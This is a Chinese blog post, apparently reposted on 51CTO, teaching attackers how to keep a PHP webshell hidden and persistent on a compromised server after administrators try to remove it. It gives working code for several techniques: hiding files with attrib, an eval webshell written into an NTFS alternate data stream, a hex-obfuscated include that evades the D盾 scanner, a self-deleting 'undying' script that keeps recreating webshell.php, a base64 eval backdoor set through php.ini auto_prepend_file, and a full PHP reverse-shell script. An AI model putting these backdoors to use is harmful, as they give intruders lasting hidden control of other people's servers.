如何找到PHP后门隐藏技巧

服务器 数据中心
辛辛苦苦拿下的 shell,几天没看,管理员给删了。这篇文章是我个人小小的总结,很多方面都建立在自己理解上思考,如果你有更好的思路,各位表哥们也可以分享。

辛辛苦苦拿下的 shell,几天没看,管理员给删了。这篇文章是我个人小小的总结,很多方面都建立在自己理解上思考,如果你有更好的思路,各位表哥们也可以分享。

隐藏

隐藏的技巧很多,废话不多说直接开始。

一. attrib +s +h

创建系统隐藏文件:

  1. attrib +s +a +r +h 
  2. attrib +s +h 文件名 

[[236995]]

查看隐藏文件

二. 利用 ADS 隐藏文件

NTFS 交换数据流(Alternate Data Streams,简称 ADS)是 NTFS 磁盘格式的一个特性,在 NTFS 文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。利用 ADS 数据流,我们可以做很多有趣的事情。(抄的)

1.首先创建 ADS 隐藏文件

在命令行,echo 一个数据流进去,比如 index 文件是正常文件。

  1. echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg 

这样就生成了一个不可见的 index.php:shell.jpg

可用 dir /r 命令来查看

修改与删除

修改:

进入文件所在目录,notepad index.php:shell.jpg

如何删除 index.php:shell.jpg 呢?

直接删除 index.php

2.文件包含

我们生成了 index.php:shell.jpg,可以通过包含文件的方式来使用。

  1. <?php include('index.php:shell.jpg')?> 

还可以用上面学的隐藏 include.php

3.免杀

隐藏了也不行兄 dei,D 盾一扫瞬间爆炸。

把 index.php:shell.jpg hex 编码

  1. <?php 
  2. $a="696E6465782E7068703A7368656C6C2E6A7067"
  3. // index.php:shell.jpg hex编码 
  4. $b="a"
  5. include(PACK('H*',$$b)) 
  6. ?> 

三. php 环境变量留 shell

环境变量 include_path

在 C 盘,创建 C:\php\pear目录,把木马文件丢上去。

在包含下就 OK 了

四.不死马

运行后,会删除自身,生成一个 webshell.php,管理员删除后还会生成。

  1. <?php  
  2.    set_time_limit(0);   
  3.    ignore_user_abort(1);   
  4.    unlink(__FILE__);   
  5.    while(1){   
  6.        file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');   
  7.        sleep(5);   
  8.   } 

解决覆盖重写或者重启 web 服务删掉即可。

  1. <?php  
  2.    set_time_limit(0);   
  3.    ignore_user_abort(1);   
  4.    unlink(__FILE__);   
  5.    while(1){   
  6.        file_put_contents('webshell.php','clear');   
  7.        sleep(1);   
  8.   } 

五. php.ini后门

将下面后门写入php.ini

  1. allow_url_include=On 
  2. auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+" 
  3.                            // base64 <?php @eval($_REQUEST[cmd]);?> 
  4.                      // 后门类型可自己修改。 

后门留好后,需要重启 web 服务。

方法1. 如果权限很大的话,自己手动重启,缺点容易暴露,重启服务,就要上服务器,某里的服务器,异地登陆有短信提醒。

方法2.就是加载一个 php_socke.php 脚本,让他重新加载 php.ini

脚本如下:

  1. <?php 
  2.  
  3. /*******************************/ 
  4.  
  5. /*         BY 傀儡           */ 
  6.  
  7. /* 我是一只小弱鸡,咿呀咿呀呦~ */ 
  8.  
  9. /*     只适用于windows系统     */ 
  10.  
  11. /*******************************/ 
  12.  
  13.  
  14. while(true){   //别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ... 
  15.        @set_time_limit(0); 
  16.        $system=strtoupper(substr(PHP_OS, 0, 3)); 
  17.        if(!extension_loaded('sockets')) 
  18.       { 
  19.                if($system=='WIN'){@dl('php_sockets.dll') ordie("Can't load socket");} 
  20.       } 
  21.        $host='255.255.255.255';    //   搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~ 
  22.        $port=1998;      //别问我为什么是1998,问了我也不会告诉你.... 
  23.        if($system=="WIN"){$env=array('path'=>'c:\\windows\\system32');} 
  24.        $descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),); 
  25.        $host=gethostbyname($host); 
  26.        $proto=getprotobyname("tcp"); 
  27.        if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");} 
  28.        if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");} 
  29.        else
  30.                $message="PHP反弹连接\n"
  31.                @socket_write($sock,$message,strlen($message)); 
  32.                $cwd=str_replace('\\','/',dirname(__FILE__)); 
  33.                while($cmd=@socket_read($sock,65535,$proto)) 
  34.               { 
  35.                        if(trim(strtolower($cmd))=="exit"){ 
  36.                                socket_write($sock,"Bye\n"); exit; 
  37.                       }else
  38.                                $process=proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); 
  39.                                if(is_resource($process)){ 
  40.                                fwrite($pipes[0], $cmd); 
  41.                                fclose($pipes[0]); 
  42.                                $msg=stream_get_contents($pipes[1]); 
  43.                                socket_write($sock,$msg,strlen($msg)); 
  44.                                fclose($pipes[1]); 
  45.                                $msg=stream_get_contents($pipes[2]); 
  46.                                socket_write($sock,$msg,strlen($msg)); 
  47.                                $return_value=proc_close($process); 
  48.                               } 
  49.                       } 
  50.               } 
  51.       } 
  52. ?> 

有个尴尬的是,这个脚本不太稳定,这个方法不是 100% 可以成功的。但是如图这个 php 版本测试成功。

这个后门在任何的 PHP 页面都可以用菜刀连接:

后记

可以说全面扩展开有的写了,条条大路通罗马通罗马,每个人都有自己的理解,文笔有限,就写到这里,可赞可喷。

参考:

https://www.t00ls.net/viewthread.php?tid=35053&highlight=php%2B%E5%90%8E%E9%97%A8

https://www.t00ls.net/viewthread.php?tid=44911&highlight=php%2B%E5%90%8E%E9%97%A8

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=17060

https://www.cnblogs.com/xiaozi/p/7610984.html

https://www.t00ls.net/viewthread.php?tid=38906&highlight=php.ini

 

责任编辑:武晓燕 来源: 信安之路
相关推荐

2020-11-06 00:00:00

PHP技巧后门

2014-05-23 09:56:27

2011-03-30 10:53:45

2013-08-20 16:16:19

2016-12-28 10:04:11

2015-04-02 11:37:54

2017-02-08 14:29:04

2015-04-01 13:51:49

2010-09-09 19:43:29

2013-07-29 10:02:42

2012-08-27 10:32:12

2015-02-09 14:25:20

2014-10-08 09:33:09

2009-07-19 10:01:37

linuxlinux安全后门

2009-12-11 16:44:33

PHP冒泡排序

2009-12-09 17:33:22

PHP性能优化

2009-12-11 17:57:13

PHP应用JSON

2020-06-21 13:57:21

JavaScript开发代码

2009-03-17 00:52:52

2011-06-28 15:56:34

Qt
点赞
收藏

51CTO技术栈公众号